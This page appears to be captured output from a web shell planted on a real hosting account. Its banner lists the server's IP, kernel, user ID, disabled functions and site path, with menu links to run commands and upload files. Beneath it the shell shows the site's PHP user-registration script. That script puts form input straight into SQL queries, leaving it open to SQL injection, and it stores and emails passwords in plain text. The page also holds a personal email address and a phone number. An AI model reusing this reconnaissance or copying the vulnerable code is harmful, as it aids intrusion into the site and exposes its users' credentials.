Server IP : 153.92.220.142 / Your IP : 216.73.216.128 Web Server : LiteSpeed System : Linux nl-srv-web513.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64 User : u444427800 ( 444427800) PHP Version : 8.1.32 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("include/connect.php"); if(isset($_POST['submit'])){ $name= $_POST['name']; $mobile= $_POST['mobile']; $state_id= $_POST['state_id']; $city_id= $_POST['city_id']; $address= $_POST['address']; $role= $_POST['role']; $email= $_POST['email']; $password= $_POST['password']; $sql="SELECT * FROM `user` WHERE `email`='$email';"; $run= mysqli_query($db,$sql); $row= mysqli_num_rows($run); if($row>0){ echo "<script> alert('User with this Email ID already registered.')</script>"; echo "<script> window.open('user.php','_self')</script>"; } else{ $admin_query="INSERT INTO `user`(`name`, `mobile`, `state`, `user_city_id`, `address`, `email`, `password`, `role`) VALUES ('$name', '$mobile', '$state_id', '$city_id', '$address', '$email','$password', '$role' )"; $run= mysqli_query($db,$admin_query); // $latID=mysqli_insert_id($db); // echo "$latID"; // exit(); echo "<script> alert('User Created Sucsessfuly.')</script>"; //----------------------------------registration mail code start------------------------------------------------------// $to = $email; $subject = 'User Registered'; $headers = "From: usyadav2007@gmail.com \r\n"; $headers .= "Reply-To: ". strip_tags($email) . "\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n"; $Mailsubject = "Registretion ".$name; $message = "<p>Dear User you registerd with Metha-Q-Lab</p> <table width='100%' border='0' cellspacing='5' cellpadding='5'> <tr><td><strong> Your Account Detail is:</strong></td></tr> <tr><td>-----------------------------</td></tr> <tr><td><b> Email(Username)</b> : $email </td></tr> <tr><td><b>Password </b>: $password </td></tr> <tr><td>-----------------------------</td></tr> <tr><td><strong> Thanks & Regard-</strong></td></tr> <tr><td>Suppot Team: +91- 8849480304</td></tr> <tr><td>Metha-Q-Lab</td></tr> </table>"; mail($to, $Mailsubject, $message, $headers); header("location:user.php"); } } ?>